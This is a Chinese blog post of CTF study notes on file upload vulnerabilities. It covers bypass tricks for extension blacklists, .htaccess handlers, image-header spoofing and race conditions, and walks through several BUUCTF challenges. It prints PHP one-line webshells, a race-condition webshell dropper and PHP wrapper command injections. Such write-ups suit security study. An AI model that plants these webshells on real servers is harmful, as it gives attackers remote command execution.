文件上传

文件上传

文件上传漏洞:

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力

原理:

一些 文件上传功能没有严格限制用户上传的文件的后缀和文件类型,导致可以在某个目录上传任意PHP文件

如果存在文件上传漏洞,可以将病毒,木马,shell,其他恶意脚本或者是包含了脚本的图片上传到服务器,进行攻击

绕过

emmm,具体看uploadlabs吧..

前端检测

主要是通过javascript代码进行检测, 一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包

绕过

  1. burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名
  2. 通过firbug插件元素审核修改代码(如删除onsubm:t=”return checkFile()”事件)
  3. 禁用js
  4. firbug元素审核javascirpt脚本中添加上传文件类型
黑名单绕过

burp抓包 修改后缀

利用.和空格绕过:win系统下文件名以.和空格结尾的 系统会自动将其删除

如: test.asp.
	test.asp空格
	test.php:1.jpg
	test.php::$DATA
单双重后缀绕过

test.pphphp

文件包含绕过

运行上传文件包含脚本木马和一句话内容马将文件后缀修改为png,jpg,asp

修改url参数绕过
如:将/uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath中的参数uptext的值改为form1.PicPath.asp即可绕过
双重文件上传绕过
白名单绕过

%00截断上传绕过

文件路径绕过

将上传的文件放到指定的路径中即可绕过:如果指定目录存在就将文件写入该目录,如果不存在就先建立在写入

.htaccess文件重写绕过

.htaccess文件作用

.htaccess文件可以 实现301重定向,404,我呢见扩展名,允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

例题;[MRCTF2020]你传你呢

<FilesMatch "test.png">//与上传的文件名相同
SetHandler application/x-httpd-php
</FilesMatch>

配合黑名单绕过,上传一个自定义的.htaccess和一句话图片木马

<FilesMatch "backlion.jpg">

   SetHandler application/x-httpd-php

   </FilesMatch>
文件头绕过

如:gif奥

GIF89a

<?php phpinfo(); ?>
条件竞争

参考连接这个和这个

条件竞争上传:就是先检测上传问价是否存在,如果上传的文件存在就先保存在删除,然后输出上传失败

漏洞利用:

<?PHP 
fputs(fopen('test.php','w'),'<?php @eval($_POST[test])?>');
?>

当我们访问这个文件的时候 会在同一目录下生成test.php,其内容为一句话木马

用python脚本来实现,无限循环上传该文件(访问该地址)

import requests
while 1:
    requests.get("上传文件地址")
    print(test)

运行脚本之后 burp爆破

将拦截的数据发给intruder,清除标记,选择null payload,设置爆破参数

image-20240603202928795

image-20240603202952950

对渲染/加载测试攻击内容检查绕过

往图片里加代码,图片马

以上在upload-labs都见过

WAF文件上传绕过

waf问价检查位置:文件名,文件内容,文件目录权限,请求的url,Boundary边界,MIME文件类型

​ 闭包:定义在一个函数内部的函数。就是通过f2函数能从函数外部获取到函数内部的局部变量(正常情况下是不可能的实现的)

image-20240603210039689

MIME:告诉浏览器等 文件类型的

绕过参考连接很详细

[极客大挑战 2019]Upload

image-20240603215657765

写一句话木马修改后缀为jpg上传

image-20240603215816995

抓个包

修改类型为image/jpg

image-20240603220352980

尝试将php修改为php5

image-20240603220542367image-20240603220602386

使用phtml

image-20240603220734333

尝试绕过<?
<script language="php">
   @eval($_POST['up']);

image-20240603221548546

使用文件头绕过 修改数据包

image-20240603221732248

image-20240603221748563

上传成功,访问我们上传的文件

猜测是在upload目录下

image-20240603222256477

找到文件蚁剑连接

image-20240603222953265

根目录下找到flag

image-20240603223218686

[ACTF2020 新生赛]Upload

上传php文件 发现只能上传图片

image-20240605191001145

好像抓不到包

上传一张图片 上传成功

image-20240605191653039

图片能抓到 访问路径 发现是上传的图片

上传phtml 内容是一句话木马 蚁剑连接 根目录下得到flag

image-20240605193433123

image-20240605193504712

image-20240605193538950

[MRCTF2020]你传你呢

上传图片 修改内容为

image-20240605195857501

image-20240605195202363

然后看wp发现是.htaccess文件上传

image-20240605201009985

test.png是我们要上传的测试文件,这里和接下来要上传的文件名要保持一致

image-20240605201326922

修改文件类型 上传成功

image-20240605201400547

上传一句话 木马

image-20240605201844304

image-20240605201857934

上传成功 蚁剑 根目录 Flag

image-20240605202131431

image-20240605202224549

[GXYCTF2019]BabyUpload

上传php文件

image-20240605202428080

image-20240605203600669

php.绕过 文件类型jpeg

image-20240605203851298

php的标志 <? ????

绕过<?试一下

image-20240605204417804

蚁剑无法连接 有函数被禁了

访问upload 403

说是上传.htaccess

image-20240605205858679

image-20240605215654356

image-20240605213015564

绕过<?

GIF89a <script language="php">
   @eval($_POST['test']);

image-20240605215857148

image-20240605213113579

访问路径image-20240605215749706

蚁剑

image-20240605215506279

image-20240605215519868

[WUSTCTF2020]CV Maker

注册登录 文件上传

image-20240605221040822

image-20240605221459059

读取图像的第一个字节 基本就是查看文件的文件头

image-20240606142240071

image-20240606142931068

也不知道是不是上传成功了 貌似没回显

查看源码 发现图片上传路径

image-20240606143159108

image-20240606143217933

image-20240606143258642

image-20240606143317391

[RoarCTF 2019]Simple Upload

源码

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;
        
        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }
        
        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}

strtolower函数:将字符串转换成小写

image-20240606145933174

strstr函数:

image-20240606144834717

image-20240606144854344

判断 strtolower($uploadFile['name']中是否包含 .php

存在返回字符串剩余部分,不存在返回false

绕过strsttr函数

参考链接是一道例题

1.文件包含:php://input伪协议绕过

php://input,只读数据流,一般读取post

a=php://input用GET方式传上去 再用POST方式提交 也就是..这样

image-20240606150134341

2.GET方式提交命令

http://bf9a9ec4-7a80-4a96-9aad-96440ccbcb47.node5.buuoj.cn:81/?file=http://127.0.0.1/index.php/?hello=<?system{'ls');?>

file的值为 http://127.0.0.1/index.php/?hello=<?system{'ls');?>,

如果前面代码有 include($file)可以尝试

http://127.0.0.1/index.php文件的代码包含进include,后面的system函数执行命令

3.data://伪协议

格式

data:text/plain,代码

image-20240606151545590

或者base64编码

data:text/plain;base64,(base64编码后的数据)

如果base64编码之后的数据又加号,将其url编码为%2b,否则不识别

4.data://伪协议+一句话木马

image-20240606151905141

然后 蚁剑连接

回到本题 条件竞争

image-20240606162114807

在thinkphp中 $upload->allowExts用法错误,正确用法是 $uplaod['exts']来检测,$uplaod->exts

所以这个白名单限制是无效的

image-20240606162054523

upload函数不传参时为多文件上传,整个$_FILES数组文件都会上传保存,所以本题为多文件上传

thhinkphp支持多文件上传 默认上传路径为index.php/home/index/upload

需要自己构建一个文件上传

上传txt测试能否上传成功

image-20240606162920818

上传php文件

image-20240606165236351

上传成功,没有文件名回显

所以只要我们上传图片,php,图片

就能确定中间没回显的php的文件名

他们后面几位不一样 去爆破后几位 就得到文件名了

image-20240606221129589

posted @   Yolololololo  阅读(21)  评论(0编辑  收藏  举报
(评论功能已被禁用)
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」
点击右上角即可分享
微信分享提示